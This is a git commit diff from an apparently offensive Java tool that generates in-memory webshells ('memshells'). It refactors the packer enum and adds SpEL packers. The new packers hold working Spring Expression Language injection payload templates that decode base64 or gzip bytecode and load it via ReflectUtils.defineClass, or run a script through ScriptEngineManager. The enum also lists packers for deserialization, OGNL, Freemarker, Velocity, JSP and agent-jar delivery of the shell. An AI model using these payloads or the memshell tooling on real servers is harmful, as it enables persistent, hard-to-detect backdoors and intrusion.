refactor: use platform to manage dependency

1. rename Packer.INSTANCE
2. gradle platform is a good thing (resolved #31)
This commit is contained in:
ReaJason
2025-01-25 20:30:08 +08:00
parent ecbde7dbae
commit 988d751129
89 changed files with 1411 additions and 1347 deletions
@@ -3,7 +3,7 @@ package com.reajason.javaweb;
import com.reajason.javaweb.memshell.AbstractShell;
import com.reajason.javaweb.memshell.SpringWebFluxShell;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.Packers;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.SneakyThrows;
import net.bytebuddy.jar.asm.Opcodes;
@@ -67,10 +67,10 @@ public class GeneratorMain {
}
@SneakyThrows
public static String generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig, Packer.INSTANCE packerInstance) {
public static String generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig, Packers packerInstance) {
GenerateResult generateResult = generate(shellConfig, injectorConfig, shellToolConfig);
if (generateResult != null) {
return packerInstance.getPacker().pack(generateResult);
return packerInstance.getInstance().pack(generateResult);
}
return null;
}
@@ -15,83 +15,18 @@ public interface Packer {
* 将生成的内存马打包成指定格式
*
* @param generateResult 生成的内存马信息
* @return 指定格式字节数组
* @return 字符串 payload
*/
default String pack(GenerateResult generateResult) {
throw new UnsupportedOperationException("当前 " + this.getClass().getSimpleName() + " 不支持 string 生成");
}
/**
* 将生成的内存马打包成 bytes
* @param generateResult 生成的内存马信息
* @return 字节数组
*/
default byte[] packBytes(GenerateResult generateResult) {
throw new UnsupportedOperationException("当前 " + this.getClass().getSimpleName() + " 不支持 bytes 生成");
}
/**
* 部分打包器可能需要配置来进行额外的配置项
*
* @param generateResult 生成的内存马信息
* @param config 配置
* @return 字节数组
*/
default byte[] pack(GenerateResult generateResult, Map<String, ?> config) {
throw new UnsupportedOperationException();
}
@Getter
static enum INSTANCE {
/**
* Base64
*/
Base64(new Base64Packer()),
/**
* GzipBase64
*/
GzipBase64(new GzipBase64()),
Jar(new SimpleJarPacker()),
/**
* BCEL
*/
BCEL(new BCELPacker()),
/**
* JSP 打包器
*/
JSP(new JspPacker()),
/**
* 脚本引擎打包器
*/
ScriptEngine(new ScriptEnginePacker()),
/**
* 反序列化打包器
*/
Deserialize(new DeserializePacker()),
/**
* EL
*/
EL(new ELPacker()),
OGNL(new OGNLPacker()),
SpEL(new SpELPacker()),
Freemarker(new FreemarkerPacker()),
Velocity(new VelocityPacker()),
AgentJar(new AgentJarPacker()),
XxlJob(new XxlJobPacker()),
;
private final Packer packer;
INSTANCE(Packer packer) {
this.packer = packer;
}
}
}
@@ -0,0 +1,69 @@
package com.reajason.javaweb.memshell.packer;
import lombok.Getter;
/**
* @author ReaJason
* @since 2025/1/23
*/
@Getter
public enum Packers {
/**
* Base64
*/
Base64(new Base64Packer()),
/**
* GzipBase64
*/
GzipBase64(new GzipBase64()),
Jar(new SimpleJarPacker()),
/**
* BCEL
*/
BCEL(new BCELPacker()),
/**
* JSP 打包器
*/
JSP(new JspPacker()),
/**
* 脚本引擎打包器
*/
ScriptEngine(new ScriptEnginePacker()),
/**
* 反序列化打包器
*/
Deserialize(new DeserializePacker()),
/**
* EL
*/
EL(new ELPacker()),
OGNL(new OGNLPacker()),
SpEL(new SpELSpringIOUtilsGzipPacker()),
Freemarker(new FreemarkerPacker()),
Velocity(new VelocityPacker()),
AgentJar(new AgentJarPacker()),
XxlJob(new XxlJobPacker()),
;
private final Packer instance;
Packers(Packer instance) {
this.instance = instance;
}
Packer getPacker(Packers packerType) {
return null;
}
}
@@ -1,31 +0,0 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.memshell.config.GenerateResult;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
import java.nio.charset.Charset;
import java.util.Objects;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class SpELPacker implements Packer {
ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
String template = "";
public SpELPacker() {
try {
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/SpELScriptEngine.txt")), Charset.defaultCharset());
} catch (IOException ignored) {
}
}
@Override
public String pack(GenerateResult generateResult) {
String script = scriptEnginePacker.pack(generateResult);
return template.replace("{{script}}", script);
}
}
@@ -0,0 +1,18 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.memshell.config.GenerateResult;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class SpELScriptEnginePacker implements Packer {
ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
String template = "T(javax.script.ScriptEngineManager).newInstance().getEngineByName('js').eval('{{script}}')";
@Override
public String pack(GenerateResult generateResult) {
String script = scriptEnginePacker.pack(generateResult);
return template.replace("{{script}}", script);
}
}
@@ -0,0 +1,21 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.SneakyThrows;
import org.apache.commons.codec.binary.Base64;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class SpELSpringIOUtilsGzipPacker implements Packer {
String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.apache.commons.io.IOUtils).toByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}')))),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()";
@Override
@SneakyThrows
public String pack(GenerateResult generateResult) {
return template.replace("{{className}}", generateResult.getInjectorClassName())
.replace("{{base64Str}}", Base64.encodeBase64String(CommonUtil.gzipCompress(generateResult.getInjectorBytes())));
}
}
@@ -0,0 +1,17 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.memshell.config.GenerateResult;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class SpELSpringUtilPacker implements Packer {
String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}'),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()";
@Override
public String pack(GenerateResult generateResult) {
return template.replace("{{className}}", generateResult.getInjectorClassName())
.replace("{{base64Str}}", generateResult.getInjectorBytesBase64Str());
}
}